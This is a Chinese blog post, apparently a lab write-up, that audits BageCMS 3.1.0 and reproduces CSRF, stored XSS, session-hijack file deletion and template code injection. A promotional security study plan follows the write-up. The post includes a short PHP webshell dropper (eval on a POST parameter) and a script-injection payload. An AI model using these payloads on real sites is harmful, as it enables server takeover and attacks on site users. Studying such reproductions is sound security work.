审计挖掘之CNVD通用漏洞

前言 本次内容对cnvd通用漏洞库中的bagecms进行一个代码审计和漏洞复现,对cnvd漏洞库里的几处漏洞进行复现挖掘,发现几处新的漏洞点。本次实验为靶机环境。本次内容仅用于学习和研究,不可用于违法违规途径。 一、环境http://61.155.169.167:81/uploads/userup/1870/bagecms.zip上下载bagecms的源代码,将其放下phpstudy软件下,就能够搭建起一个web环境,然后导入.sql数据库备份文件到本地的数据库管理器。 自动化安装环境,访问http://xxx.com/bagecms3.1.0/upload//index.php?r=install,然后点击下一步即可。

配置数据库的信息(服务器名称、数据库名称、数据库用户、数据库密码),即可安装成功


【2021最新整理网络安全\渗透测试/安全学习资料(全套视频、大厂面经、精品手册。必备工具包)获取】

二、CMS框架审计 下图为下载下来的源码文件,主要的是upload文件夹下面的index.php

分析一下index.php,因为网站的路径结构为/upload/index.php?r=xxx

$f ramework = dirname(__FILE__) . '/f ramework/yiilite.php';
$config = dirname(__FILE__) . '/protected/config/main.php';
define('WWWPATH', str_replace(array('\\', '\\\\'), '/', dirname(__FILE__)));
define('DS', DIRECTORY_SEPARATOR);
require_once ($f ramework);
Yii::createWebApplication($config)->run(); 

1.framework获取存放当前的文件名和绝对路径/framework/yiilite.php2.f ramework获取存放当前的文件名和绝对路径/f ramework/yiilite.php 2.framework获取存放当前的文件名和绝对路径/framework/yiilite.php2.config获取存放当前的文件名和绝对路径/protected/config/main.php 3.define(‘WWWPATH’, str_replace(array(‘’, ‘\’), ‘/’, dirname(FILE)))获取网站的根目录 4.define(‘DS’, DIRECTORY_SEPARATOR);定义目录分隔符 5.require_once (framework)在index.php脚本执行期间包含并运行指定文件yiilite.php6.Yii::createWebApplication(f ramework)在index.php脚本执行期间包含并运行指定文件yiilite.php 6.Yii::createWebApplication(framework)在index.php脚本执行期间包含并运行指定文件yiilite.php6.Yii::createWebApplication(config)->run();Yii框架启动webApplication对象


分析一下yiilite.php,在index.php中包含了该文件

1.yiilite.php将常用的类打包在一起,减少了include的调用 2.去掉了这些代码中的trace()调用和注释 3.yiilite.php减少被引用的文件数量并避免执行跟踪语句


分析一下main.phpYii框架启动对象的时候调用了这个文件 定义了多个数组来存放数据,如gii模块存放密码和主机的ip地址、db模块存放数据库的信息等 主要介绍urlManager模块

'urlManager'=>array(
 //'urlFormat'=>'path',
 'showS criptName'=>true,
 //'urlSuffix'=>'.html',
 'rules'=>array(
 'post/<id:\d+>/*'=>'post/show',
 'post/<id:\d+>_<title:\w+>/*'=>'post/show',
 'post/catalog/<catalog:[\w-_]+>/*'=>'post/index',
 'page/show/<name:\w+>/*'=>'page/show',
 'special/show/<name:[\w-_]+>/*'=>'special/show',
 '<controller:\w+>/<action:\w+>'=>'<controller>/<action>',
 ) 

1.借助YII框架的路由管理组件,实现url规则的多样化 2.<controller:\w+>//这是指匹配控制器 3.<action:\w+>//这是指匹配控制器内的方法 4.<pid:\d+>//这里指获取相应的请求参数的key


三、CSRF跨站请求伪造攻击 CSRF攻击原理 当你登录一个正常网站时,浏览器记录下了你的cookie信息,攻击者盗用了你的身份,以你的名义发送恶意请求(对服务器来说这个请求合法),完成了攻击者所期望的操作。

1.正常用户或管理员打开浏览器,访问受信任网站,输入用户名和密码请求登录网站;网站发送cookie信息返回给浏览器,正常用户可以发送正常请求到网站

2.攻击者构造含有攻击性代码的网页,制造网页过程如下 (1)在网站的添加用户模块,选择添加用户,并且输入添加用户的各个参数提交,然后利用burpsuite抓包获取请求包,请求包中会携带访问的post请求数据信息,点击右键--->相关工具--->CSRF POC生成,即可成功csrf的poc

(2)将其poc(HTML代码格式)复制下来,自己新建一个html文本,然后复制进去,如果是在真实环境的话可以通过QQ、邮箱、个人VPS等途径,让用户去点击这个html文本,就可以执行添加用户的操作 (3)分析POC构造,<form action="http://网站IP/bagecms3.1.0/upload/index.php?r=admini/admin/create" method="POST">,访问正常网站,并且将hidden隐藏的请求数据通过submit方式提交,这里我的value参数值都是1

3.用户未退出网站之前,在同一浏览器中,打开一个网页访问CSRF POC制作的网站(这里可以自己修饰一下,让用户有去想点击这个页面的想法),点击之后就会网站会以为是用户的正常请求,从而添加一个用户

4.浏览器在接收到这些攻击性代码后,根据CSRF POC网站的请求,在用户不知情的情况下携带Cookie信息,向正常网站发出请求。正常网站并不知道该请求其实是由CSRF POC网站发起的,所以会根据用户的Cookie信息以用户的权限处理该请求,导致来自CSRF POC网站的恶意代码被执行。


四、XSS跨站脚本攻击 该攻击存在于后台的站点设置模块,通过构造XSS脚本攻击能够实现弹窗功能

因为后台站点设置的内容要回显在页面上,所以等会查看弹窗的位置也在前台页面查看

代码分析,全局搜索到footer.php文件,发现联系我们模块代码都是<?php echo xxx ?>这种格式,于是我们构造简单的XSS语句<S cript>a lert(111)</S cript>,然后被footer.php执行后就会echo输出这个语句

<p class="home"><?php echo $this->_conf['_address']?></p>
 <p class="telephone"><?php echo $this->_conf['_telephone']?></p>
 <p class="telephone"><?php echo $this->_conf['_fax']?></p>
 <p class="mobile"><?php echo $this->_conf['_mobile']?></p>
 <p class="email"><?php echo $this->_conf['admin_email']?></p> 

存储型XSS执行成功,因为是在站点设置POST提交数据到数据库的,所以每次访问首页都会有一个弹窗。


五、会话劫持攻击 会话劫持攻击原理 正常用户访问网站后会分发一个session,然后攻击者通过某种方法获取用户的session,通过修改自身的session去访问正常用户的数据。

1.目标用户登录网站,登录成功后,该用户会得到一个会话seesion来保持会话

2.攻击者通过某种手段获取sessionXSS、暴力破解、枚举session、钓鱼等),然后修改请求包,即可对网站进行会话劫持 Cookie: PHPSESSID=v7iomrvcfjq6uhnjduv8h6dit3

3.当攻击者获得会话session后,即可在不登录的情况下对网站后台进行操作(该session保持不变) 对文件进行任意删除 在一个没有登录的浏览器进行测试,此时抓包获取的session值为 Cookie: PHPSESSID=qtc31bohagca38o88kuife81j6

在不登录的情况下,对网站进行删除文件操作,下面为删除前的页面回显

在不登录的情况下抓包 修改cookie的值为Cookie: PHPSESSID=v7iomrvcfjq6uhnjduv8h6dit3,然后请求包为删除文件的内容,点击发送数据包

任意文件删除成功,回显效果如下


六、命令执行漏洞 网站模块修改的代码配置没有对文件的内容进行过滤和检测,导致添加恶意代码进去的时候能够直接解析执行

在后台站点的网站模块下存放着网站的配置文件,其中question/index.php存放的是留言板的配置文件,在question/index.php末尾加上恶意代码,将一句话木马存放到文件su.php中,如果不存在则创建su.php <?php file_put_contents("su.php","<?php @e val(\$_POST[cmd]);?>");?>

访问路径http://xxx.com/bagecms3.1.0/upload/index.php?r=question/index,让代码执行生效,生成木马文件su.php

访问木马文件su.php,然后通过post请求提交参数代码获取数据

通过蚁剑工具连接木马,获取webshell

总结 在本次的代码审计和复现的过程中,首先是去看cnvd漏洞库查看存在哪些漏洞,然后再去访问可能存在的漏洞点去尝试挖掘,最后挖掘出上面这些漏洞点,并且附上挖掘思路过程。本篇文章仅做学习和研究,不可作违法违规的操作。 **【资料获取】**接下来我将给各位同学划分一张学习计划表!

学习计划

那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:

阶段一:初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?

阶段二:中级or高级网络安全工程师(看自己能力)

综合薪资区间15k~30k

7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。

零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;

Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三:顶级网络安全工程师

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资料分享

当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值